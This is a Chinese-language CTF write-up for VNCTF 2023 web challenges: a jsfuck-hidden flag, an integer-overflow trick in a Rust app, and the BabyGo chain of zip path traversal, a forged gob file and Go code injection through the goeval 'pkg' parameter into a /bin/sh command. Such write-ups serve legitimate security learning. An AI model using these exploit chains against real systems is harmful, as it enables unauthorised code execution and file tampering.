[VNCTF 2023] wp——web方向

象棋王子

什么年代了谁还下传统象棋啊

游戏题,f12查看源码

image-20230712152352892

查看源代码可以看到有jsfuck加密

image-20230712153135945

控制台跑一下得出flag

image-20230712153227757

电子木鱼

敲电子木鱼,拜机械佛祖

传赛博真经,娶初音未来

(我他妈敲敲敲敲敲),一开始只给了这个界面,dirsearch也扫不到什么东西

image-20230712154001049

但是有个题目附件

链接:https://pan.baidu.com/s/1xAQHZW5XLX32uozbw46DCg 提取码:5vhw --来自百度网盘超级会员V5的分享

下载之后可以找到main.rs文件打开,路径是电子木鱼->chall->src->main.rs

通过代码审计,可以看到在/upgrade路由下有以下代码

image-20230712155454881

说明我们要传入name的值,通过下面代码可以看到不同的name所对应的cost

image-20230712160204046

先传入一个Loan玩玩,但是除了name还有一个变量quantity

image-20230712160505504

所以我们要传入namequantity,构造payload:

http://922503fe-76f0-4704-9ef2-46d5b8258210.node4.buuoj.cn:81/upgrade

Post Data:
name=Loan&quantity=114151114

传入之后功德会加1000,这里传了两次

image-20230712160719843

然后重新构造payload:

http://922503fe-76f0-4704-9ef2-46d5b8258210.node4.buuoj.cn:81/upgrade

Post Data:
name=Cost&quantity=1141511142

然后就可以得到flag

image-20230712160958300

关键就是在

cost *= body.quantity;

这里用通俗的代码解释就是:

cost = cost * quantity;

然后最后设定的功德值是原值减去cost值,所以想办法让cost为负数或者quantity为负数即可让功德增加,在name等于Donate和Cost时cost初始都是整数,只能让quantity为负,想到让quantity过大然后溢出。

溢出成功后得到flag

BabyGo

只有我是真的签到,他们都是骗你的

群众里有坏人啊!

有附件,打开后是代码,看来是go的代码审计

源码如下:

package main

import (
	"encoding/gob"
	"fmt"
	"github.com/PaulXu-cn/goeval"
	"github.com/duke-git/lancet/cryptor"
	"github.com/duke-git/lancet/fileutil"
	"github.com/duke-git/lancet/random"
	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"net/http"
	"os"
	"path/filepath"
	"strings"
)

type User struct {
    
    
	Name  string
	Path  string
	Power string
}

func main() {
    
    
	r := gin.Default()
	store := cookie.NewStore(random.RandBytes(16))
	r.Use(sessions.Sessions("session", store))
	r.LoadHTMLGlob("template/*")

	r.GET("/", func(c *gin.Context) {
    
    
		userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
		session := sessions.Default(c)
		session.Set("shallow", userDir)
		session.Save()
		fileutil.CreateDir(userDir)
		gobFile, _ := os.Create(userDir + "user.gob")
		user := User{
    
    Name: "ctfer", Path: userDir, Power: "low"}
		encoder := gob.NewEncoder(gobFile)
		encoder.Encode(user)
		if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
    
    
			c.HTML(200, "index.html", gin.H{
    
    "message": "Your path: " + userDir})
			return
		}
		c.HTML(500, "index.html", gin.H{
    
    "message": "failed to make user dir"})
	})

	r.GET("/upload", func(c *gin.Context) {
    
    
		c.HTML(200, "upload.html", gin.H{
    
    "message": "upload me!"})
	})

	r.POST("/upload", func(c *gin.Context) {
    
    
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
    
    
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
    
    
			c.HTML(500, "upload.html", gin.H{
    
    "message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
    
    
			c.HTML(500, "upload.html", gin.H{
    
    "message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
    
    
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
    
    
			c.HTML(500, "upload.html", gin.H{
    
    "message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{
    
    "message": "file saved to " + filename})
	})

	r.GET("/unzip", func(c *gin.Context) {
    
    
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
    
    
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
    
    
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
    
    
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
    
    
					c.HTML(200, "zip.html", gin.H{
    
    "message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{
    
    "message": "success unzip"})
	})

	r.GET("/backdoor", func(c *gin.Context) {
    
    
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
    
    
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
    
    
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
    
    
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
    
    
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{
    
    "message": string(eval)})
				return
			} else {
    
    
				c.HTML(200, "backdoor.html", gin.H{
    
    "message": "low power"})
				return
			}
		} else {
    
    
			c.HTML(500, "backdoor.html", gin.H{
    
    "message": "no such user gob"})
			return
		}
	})

	r.Run(":80")
}

这里一共有五个路由,首先是/路由

r.GET("/", func(c *gin.Context) {
    
    
		userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
		session := sessions.Default(c)
		session.Set("shallow", userDir)
		session.Save()
		fileutil.CreateDir(userDir)
		gobFile, _ := os.Create(userDir + "user.gob")
		user := User{
    
    Name: "ctfer", Path: userDir, Power: "low"}
		encoder := gob.NewEncoder(gobFile)
		encoder.Encode(user)
		if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
    
    
			c.HTML(200, "index.html", gin.H{
    
    "message": "Your path: " + userDir})
			return
		}
		c.HTML(500, "index.html", gin.H{
    
    "message": "failed to make user dir"})
	})

在这个处理函数中,首先根据IP 地址和一个固定的字符串生成一个唯一的用户目录路径 userDir,并将该路径存入一个名为 shallow 的 session 中。

接着,使用 fileutil.CreateDir 函数创建该目录,并在该目录中创建一个名为 user.gob 的文件。然后通过 gob.NewEncoder 函数将一个名为 User 的结构体对象编码为 Gob 格式,并将编码结果写入 user.gob 文件中。

最后,检查用户目录和 user.gob 文件是否成功创建,如果成功则返回 HTTP 状态码 200 和一个包含用户目录路径的 HTML 页面,否则返回 HTTP 状态码 500 和一个包含错误信息的 HTML 页面。

然后是/upload路由

r.POST("/upload", func(c *gin.Context) {
    
    
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
    
    
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
    
    
			c.HTML(500, "upload.html", gin.H{
    
    "message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
    
    
			c.HTML(500, "upload.html", gin.H{
    
    "message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
    
    
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
    
    
			c.HTML(500, "upload.html", gin.H{
    
    "message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{
    
    "message": "file saved to " + filename})
	})

很明显,这里有一个文件上传的功能

首先使用 sessions.Default 函数获取一个名为 shallow 的 session,如果该 session 不存在,则重定向到根目录。然后根据 shallow session 中存储的用户目录路径,创建一个名为 uploads 的子目录,用于存储用户上传的文件。

接着,使用 c.FormFile 函数从 HTTP 请求中获取上传的文件对象,并检查是否出错。如果出错,则返回 HTTP 状态码 500 和一个包含错误信息的 HTML 页面。

然后,从上传的文件对象中获取文件扩展名,如果文件扩展名为 .gob.go,则认为上传的是危险文件,将返回 HTTP 状态码 500 和一个包含错误信息的 HTML 页面。

接下来,构造上传文件的路径,并检查该路径是否已存在,如果已存在,则先删除原文件。最后,使用 c.SaveUploadedFile 函数将上传的文件保存到指定路径中,并返回 HTTP 状态码 200 和一个包含成功上传文件路径的 HTML 页面。

接下来是/unzip的功能,这里并没有给我们上传zip压缩文件的方法,所以是解压我们刚才在/upload路径上的上传的文件,源码如下:

r.GET("/unzip", func(c *gin.Context) {
    
    
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
    
    
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
    
    
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
    
    
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
    
    
					c.HTML(200, "zip.html", gin.H{
    
    "message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{
    
    "message": "success unzip"})
	})

使用 sessions.Default 函数获取一个名为 shallow 的 session,如果该 session 不存在,则重定向到根目录。然后根据 shallow session 中存储的用户目录路径,创建一个名为 uploads 的子目录,用于存储用户上传的文件。

接着,使用 fileutil.ListFileNames 函数获取用户上传目录中的文件列表,并将目标解压路径存储在 destPath 变量中。

然后遍历上传目录中的所有文件,如果发现其中有 ZIP 格式的文件,则使用 fileutil.UnZip 函数将其解压到目标路径中,如果解压失败,则返回 HTTP 状态码 200 和一个包含错误信息的 HTML 页面,并删除原 ZIP 文件。

最后,如果所有 ZIP 文件都成功解压,则返回 HTTP 状态码 200 和一个包含成功信息的 HTML 页面。

最后是/backdoor路由

	r.GET("/backdoor", func(c *gin.Context) {
    
    
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
    
    
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
    
    
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
    
    
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
    
    
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{
    
    "message": string(eval)})
				return
			} else {
    
    
				c.HTML(200, "backdoor.html", gin.H{
    
    "message": "low power"})
				return
			}
		} else {
    
    
			c.HTML(500, "backdoor.html", gin.H{
    
    "message": "no such user gob"})
			return
		}
	})
	r.Run(":80")
}

在这个处理函数中,首先使用 sessions.Default 函数获取一个名为 shallow 的 session,如果该 session 不存在,则重定向到根目录。然后根据 shallow session 中存储的用户目录路径,获取用户信息文件 user.gob 的路径。

接着,如果用户信息文件存在,则使用 gob.NewDecoder 函数创建一个 Gob 解码器,读取用户信息文件中的数据,并解码为一个名为 ctferUser 结构体对象。

然后,如果 ctferPower 字段为 "admin",则使用 goeval.Eval 函数执行一个 Go 代码字符串 "fmt.Println(\"Good\")",并将结果存储在 eval 变量中。如果执行过程中出现错误,则将错误信息输出到控制台中。

最后,如果 ctferPower 字段为 "admin",则返回 HTTP 状态码 200 和一个包含执行结果的 HTML 页面,否则返回 HTTP 状态码 200 和一个包含权限不足的错误信息的 HTML 页面。

需要注意的是,该代码依赖于一些自定义的函数和数据结构,如 User 结构体、goeval.Eval 函数和 fileutil 包中的一些函数。这些函数和结构体的具体实现没有在代码中给出,因此无法确定它们的作用和功能。此外,该代码中包含了一个后门,可以通过在 URL 中传递 pkg 参数来注入任意 Go 代码字符串并执行。

通过代码审计来获得思路

思路:通过文件上传功能上传zip,利用unzip功能可以将zip解压到任意路径,做到文件覆盖的效果,然后获得backdoor的访问权限,backdoor允许自定义模块,通过文件覆盖,令后端代码使用我们编写的恶意go模块并同时获得RCE

因为/upload功能不能上传go和gob,所以我们要上传.zip文件

文件路径:

/tmp/xxxxxx/uploads/

通过/unzip解压后也是会解压到这个路径

image-20230712170533916

查看unzip的实现代码,能够看出zip解压路径由 固定的/tmp/xxx/uploads/ + 我们可控的pathhttp参数

那我们可以设置get参数path../就能解压到任意路径

然后在/backdoor路由中判断用户的Power是否admin,而用户信息从/tmp/xxx/中的user.gob读取的

关于user.gob初始化的关键代码如下

image-20230712172726799

既然struct和序列化代码都给我们,我们可以写个代码,将Power赋值为admin

// user.go
package main

import (
	"encoding/gob"
	"fmt"
	"os"
)

type User struct {
    
    
	Name  string
	Path  string
	Power string
}

func main() {
    
    
	userDir := "/tmp/05b9ef44a4225019d5e074eb8582dd2a/" //自己docker起后的路径
	user := User{
    
    Name: "ctfer", Path: userDir, Power: "admin"}
	file, err := os.Create("./user.gob")
	if err != nil {
    
    
		fmt.Println("创建文件失败")
		return
	}
	defer file.Close()

	encoder := gob.NewEncoder(file)
	err = encoder.Encode(user)
	if err != nil {
    
    
		fmt.Println("编码错误")
		return
	} else {
    
    
		fmt.Println("编码成功")
	}
}

这段代码将生成一个新的user.gob,可以将自动生成的user.go覆盖掉,然后利用任意文件路径解压,将新生成的user.gob上传到路径上,达到覆盖原始的user.go文件目的,这样就可以将Power的值变为admin,我们就可以使用/backdoor

先上传文件

image-20230712175239401

然后利用解压缩功能来进行文件覆盖

http://4785b46d-93b9-4c14-9adf-a6f8c894f5f8.node4.buuoj.cn:81/unzip?path=../../../tmp/02c0bcf079ce7f2af7eef834a523223f/

显示success zip

image-20230712175808660

然后再访问/backdoor就可以看到回显good

image-20230712175848343

接下来是在/backdoor路由下进行RCE

RCE的关键代码如下:

eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))

方法一、

有权限使用/backdoor之后新的问题又来了这里的Eval()函数执行的命令不可控,难蚌,但是我们可以控制他使用的模块

http Get参数pkg
默认值为:fmt

我们可以调用我们编写的fmt模块,并调用我们编写的Println()函数,但是这里禁用了相对路径模块调用,我们只能将编写的模块上传到

/usr/local/go/src/

这里用来存放go模块,我们可以通过刚才的/upload/unzip来上传并调用它

创建一个hackerM的文件夹,然后在文件夹内打开cmd

image-20230712180354725

输入

go mod init fmt

这样会得到一个go.mod文件,在文件中添加以下内容:

require hackerM/fmt v0.0.0
replace hackerM/fmt v0.0.0 => ../fmt

image-20230712180612775

接下来在hackerM目录下在创建一个/fmt目录创建fmt.go文件,内容如下

package fmt

import "os/exec"
import "fmt"

func Println(cmd string) {
    
    
	out, _ := exec.Command("cat", "/ffflllaaaggg").Output()
	// out, _ := exec.Command("whoami").Output()
	fmt.Println(string(out))
}

// /usr/local/go/src/

这里可以直接把命令换成反弹shell,会方便一点
可以参考:VNCTF2023 web
image-20230712184109327

然后将hackerM文件夹压缩为zip,上传,并且解压到/usr/local/go/src/,payload:

http://4785b46d-93b9-4c14-9adf-a6f8c894f5f8.node4.buuoj.cn:81/unzip?path=../../../../../usr/local/go/src/

访问后,去/backdoor路由,并且用pkg参数来访问,payload:

http://7b6f8784-9316-4def-a7c1-2cc09f9143d9.node4.buuoj.cn:81/backdoor?pkg=hackerM/fmt

得到flag

image-20230712183237636

方法二:

Power变为admin后直接payload直接打:

http://84231576-ede8-45c2-9b99-5829e10c64d3.node4.buuoj.cn:81/backdoor?pkg=os/exec%22%0A%22fmt%22)%0Afunc%09init()%7B%0Acmd:=exec.Command(%22/bin/sh%22,%22-c%22,%22cat${IFS}/f*%22)%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage=%22fmt

url解码一下就是:

http://84231576-ede8-45c2-9b99-5829e10c64d3.node4.buuoj.cn:81/backdoor?pkg=os/exec"
"fmt")
func	init(){
cmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")
res,err:=cmd.CombinedOutput()
fmt.Println(err)
fmt.Println(res)
}
const(
Message="fmt

得到结果

image-20230712185339603

然后用python脚本解码:

str = [102,108,97,103,123,102,54,52,99,98,52,56,53,45,101,98,57,53,45,52,52,50,99,45,57,99,49,54,45,55,100,102,98,48,52,97,100,102,57,57,101,125,10]

for i in range(42):
    print(chr(str[i]),end="")

跑一下得出flag

image-20230712185410274

easyzentao

最新版禅道RCE

提示我们是禅道的cms,并且是RCE漏洞,按f12查看源码可以知道版本,18.0

image-20230712201812386

谷歌搜索一下zentao 18.0漏洞

但是!没有,难蚌,网上的师傅们也没有wp然后我又看了一眼官方wp

更难蚌的事情出现了

image-20230712232003705

就这样吧,希望有佬能写出来


两位师傅的wp,BabyGo有很多借鉴他们的地方

f0njl师傅的wp:VNCTF 2023复现

Sugobet师傅的wp:VNCTF 2023 - Web 象棋王子|电子木鱼|BabyGo Writeups

猜你喜欢

转载自blog.csdn.net/Leaf_initial/article/details/131692365
今日推荐